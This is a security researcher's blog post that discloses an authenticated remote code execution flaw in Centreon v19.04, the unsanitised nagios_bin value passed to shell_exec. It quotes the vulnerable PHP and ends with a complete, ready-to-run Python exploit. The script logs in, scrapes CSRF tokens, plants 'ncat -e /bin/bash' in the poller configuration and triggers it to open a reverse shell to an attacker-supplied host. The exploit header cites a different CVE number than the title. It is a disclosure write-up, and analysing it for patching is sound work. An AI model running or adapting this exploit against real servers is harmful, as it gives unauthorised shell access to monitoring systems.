Centreon v19.04 Remote Code Execution (CVE-2019-13024)

Estimated Reading Time: 6 minutes

Summary about Centreon

Centreon is a free and open source infrastructure monitoring software, Centreon allows the system administrators to monitor their infrastructure from a centralized web application, Centreon has become the number 1 open source solution for enterprise monitoring in Europe.

About the exploit

The exploitation triggers by adding an arbitrary command in the nagios_bin parameter when setup a new configuration or update configuration for a poller, the attacker can control some parameters which are passed to updateServer function on DB-Func.php line #506, this function should update some values and add them to the database, so we can control a user input called nagion_bin from the configuration page and inject our malicious code into it, this parameter is processed in line #551, this parameter will be called from the database and passed to shell_exec function line #212 on generateFiles.php file, so we can call the generateFiles.php later on to trigger the payload.

During the analysis of Centreon code, I decided to hunt for RCE because I found a lot of functionalities that deal with operating system commands, So I started to list all unsafe functions using a very simple python script I wrote.

The initial result was containing a large number of functions that use “shell_exec, popen, system” functions, and after some analysis I noticed that there is potential RCE in a function called printDebug in include/configuration/configGenerate/xml/generateFiles.php line #211:

function printDebug($xml, $tabs)
{

    global $pearDB, $ret, $centreon, $nagiosCFGPath;
    $DBRESULT_Servers = $pearDB->query("SELECT `nagios_bin` FROM `nagios_server` " .
        "WHERE `localhost` = '1' ORDER BY ns_activate DESC LIMIT 1");
    $nagios_bin = $DBRESULT_Servers->fetch();
    $DBRESULT_Servers->closeCursor();
    $msg_debug = array();
    $tab_server = array();
    foreach ($tabs as $tab) {
        if (isset($ret["host"]) && ($ret["host"] == 0 || in_array($tab['id'], $ret["host"]))) {
            $tab_server[$tab["id"]] = array(
                "id" => $tab["id"],
                "name" => $tab["name"],
                "localhost" => $tab["localhost"]
            );
        }
    }


    foreach ($tab_server as $host) {
        $stdout = shell_exec(
            $nagios_bin["nagios_bin"] . " -v " . $nagiosCFGPath . $host["id"] . "/centengine.DEBUG 2>&1"
        );

As we can see in line #211 we have some variables passed to shell_exec function without being sanitized, the variable $nagios_bin[“nagios_bin”] passed to the function after being called from the database, and we can see in line #193,194 that the query has been made to extract some information and one of them are the $nagios_bin[“nagios_bin”] variable.

Now we need to know how we can control this value and how we can trigger the printDebug function in order to execute our payload.

If we took a look at include/configuration/configServers/DB-Func.php line #550 we can see that the file handles updating some values in the database and one of them are out target “nagios_bin” being inserted without filtering as the following:

function updateServer(int $id, $data): void
{
    global $pearDB, $centreon;

    if ($data["localhost"]["localhost"] == 1) {
        $pearDB->query("UPDATE `nagios_server` SET `localhost` = '0'");
    }
    if ($data["is_default"]["is_default"] == 1) {
        $pearDB->query("UPDATE `nagios_server` SET `is_default` = '0'");
    }

    $rq = "UPDATE `nagios_server` SET ";
    isset($data["name"]) && $data["name"] != null
        ? $rq .= "name = '" . htmlentities($data["name"], ENT_QUOTES, "UTF-8") . "', "
        : $rq .= "name = NULL, ";
    isset($data["localhost"]["localhost"]) && $data["localhost"]["localhost"] != null
        ? $rq .= "localhost = '" . htmlentities($data["localhost"]["localhost"], ENT_QUOTES, "UTF-8") . "', "
        : $rq .= "localhost = NULL, ";
    isset($data["ns_ip_address"]) && $data["ns_ip_address"] != null
        ? $rq .= "ns_ip_address = '" . htmlentities(trim($data["ns_ip_address"]), ENT_QUOTES, "UTF-8") . "',  "
        : $rq .= "ns_ip_address = NULL, ";
    isset($data["ssh_port"]) && $data["ssh_port"] != null
        ? $rq .= "ssh_port = '" . htmlentities(trim($data["ssh_port"]), ENT_QUOTES, "UTF-8") . "',  "
        : $rq .= "ssh_port = '22', ";
    isset($data["init_system"]) && $data["init_system"] != null
        ? $rq .= "init_system = '" . htmlentities(trim($data["init_system"]), ENT_QUOTES, "UTF-8") . "',  "
        : $rq .= "init_system = NULL, ";
    isset($data["init_script"]) && $data["init_script"] != null
        ? $rq .= "init_script = '" . htmlentities(trim($data["init_script"]), ENT_QUOTES, "UTF-8") . "',  "
        : $rq .= "init_script = NULL, ";
    isset($data["init_script_centreontrapd"]) && $data["init_script_centreontrapd"] != null
        ? $rq .= "init_script_centreontrapd = '" . htmlentities(
            trim($data["init_script_centreontrapd"]),
            ENT_QUOTES,
            "UTF-8"
        ) . "',  "
        : $rq .= "init_script_centreontrapd = NULL, ";
    isset($data["snmp_trapd_path_conf"]) && $data["snmp_trapd_path_conf"] != null
        ? $rq .= "snmp_trapd_path_conf = '" . htmlentities(
            trim($data["snmp_trapd_path_conf"]),
            ENT_QUOTES,
            "UTF-8"
        ) . "',  "
        : $rq .= "snmp_trapd_path_conf = NULL, ";
    isset($data["nagios_bin"]) && $data["nagios_bin"] != null
        ? $rq .= "nagios_bin = '" . htmlentities(trim($data["nagios_bin"]), ENT_QUOTES, "UTF-8") . "',  "
        : $rq .= "nagios_bin = NULL, ";

As we can see it just filter the data using htmlentities only , which means we can inject system commands without problem and in theory we can get a shell !

of course we cannot insert the characters that is being filter by htmlentites but we still execute a onliner to get a shell.

The input for this function was processed by another file called formServers.php located in include/configuration/configServers/formServers.php and the line which call this function and pass the form submitted data is line #300 like the following:

if ($form->validate()) {
    $nagiosObj = $form->getElement('id');
    if ($form->getSubmitValue("submitA")) {
      
        insertServerInDB($form->getSubmitValues());
    } elseif ($form->getSubmitValue("submitC")) {
        updateServer(
            (int) $nagiosObj->getValue(),
            $form->getSubmitValues()
        );
    }
    $o = null;
    $valid = true;
}

The getSubmitValues() function handles the POST requests sent via the update configuration form.

To understand the code in better way, I used burp to achieve that by playing with the request and see how I can deal with the required value.

And in burp we can see the following request after submitting it :

And as we can see the request contains nagion_bin which is the one we want to control, and for a debugging purposes I will edit the file generateFiles.php to echo the value of nagion_bin to make sure that we are inserting the correct value that will be inserted and called from the database, and the result was like the following:

After sending the request we will get the following:

We are right ! we got the testpath value printed out ! so we just have to inject a command to get it executed, but first lets find the right format to inject our payload, back to line #212 on generateFiles.php , we can find that our command is inserted in the first of the line which means we can insert it directly and comment out the rest of the line by using #, and the final payload should be simply “command #”.

lets try to inject the command id # and see what will happen !

Great ! we got our command executed !

Exploit writing

After confirming the RCE I want to write an exploit code in python to automate the exploitation process and give you a shell with one click, The exploit writing phase was very fun part to me, and here is the full exploit code:

#!/usr/bin/python

'''
# Exploit Title: Centreon v19.04 authenticated Remote Code Execution
# Date: 28/06/2019
# Exploit Author: Askar (@mohammadaskar2)
# CVE : CVE-2018-20434
# Vendor Homepage: https://www.centreon.com/
# Software link: https://download.centreon.com
# Version: v19.04
# Tested on: CentOS 7.6 / PHP 5.4.16
'''

import requests
import sys
import warnings
from bs4 import BeautifulSoup

# turn off BeautifulSoup warnings
warnings.filterwarnings("ignore", category=UserWarning, module='bs4')

if len(sys.argv) != 6:
    print(len(sys.argv))
    print("[~] Usage : ./centreon-exploit.py url username password ip port")
    exit()

url = sys.argv[1]
username = sys.argv[2]
password = sys.argv[3]
ip = sys.argv[4]
port = sys.argv[5]


request = requests.session()
print("[+] Retrieving CSRF token to submit the login form")
page = request.get(url+"/index.php")
html_content = page.text
soup = BeautifulSoup(html_content)
token = soup.findAll('input')[3].get("value")

login_info = {
    "useralias": username,
    "password": password,
    "submitLogin": "Connect",
    "centreon_token": token
}
login_request = request.post(url+"/index.php", login_info)
print("[+] Login token is : {0}".format(token))
if "Your credentials are incorrect." not in login_request.text:
    print("[+] Logged In Sucssfully")
    print("[+] Retrieving Poller token")

    poller_configuration_page = url + "/main.get.php?p=60901"
    get_poller_token = request.get(poller_configuration_page)
    poller_html = get_poller_token.text
    poller_soup = BeautifulSoup(poller_html)
    poller_token = poller_soup.findAll('input')[24].get("value")
    print("[+] Poller token is : {0}".format(poller_token))

    payload_info = {
        "name": "Central",
        "ns_ip_address": "127.0.0.1",
        # this value should be 1 always
        "localhost[localhost]": "1",
        "is_default[is_default]": "0",
        "remote_id": "",
        "ssh_port": "22",
        "init_script": "centengine",
        # this value contains the payload , you can change it as you want
        "nagios_bin": "ncat -e /bin/bash {0} {1} #".format(ip, port),
        "nagiostats_bin": "/usr/sbin/centenginestats",
        "nagios_perfdata": "/var/log/centreon-engine/service-perfdata",
        "centreonbroker_cfg_path": "/etc/centreon-broker",
        "centreonbroker_module_path": "/usr/share/centreon/lib/centreon-broker",
        "centreonbroker_logs_path": "",
        "centreonconnector_path": "/usr/lib64/centreon-connector",
        "init_script_centreontrapd": "centreontrapd",
        "snmp_trapd_path_conf": "/etc/snmp/centreon_traps/",
        "ns_activate[ns_activate]": "1",
        "submitC": "Save",
        "id": "1",
        "o": "c",
        "centreon_token": poller_token,


    }

    send_payload = request.post(poller_configuration_page, payload_info)
    print("[+] Injecting Done, triggering the payload")
    print("[+] Check your netcat listener !")
    generate_xml_page = url + "/include/configuration/configGenerate/xml/generateFiles.php"
    xml_page_data = {
        "poller": "1",
        "debug": "true",
        "generate": "true",
    }
    request.post(generate_xml_page, xml_page_data)

else:
    print("[-] Wrong credentials")
    exit()

and you can find the full exploit code here.

The application handles every request with a token to protect against CSRF, so I have to handle this issue using BeautifulSoup to read the CSRF token before sending the requests which was a great part !

And after running the exploit, we popped a shell !

Leave a Reply

Your email address will not be published. Required fields are marked *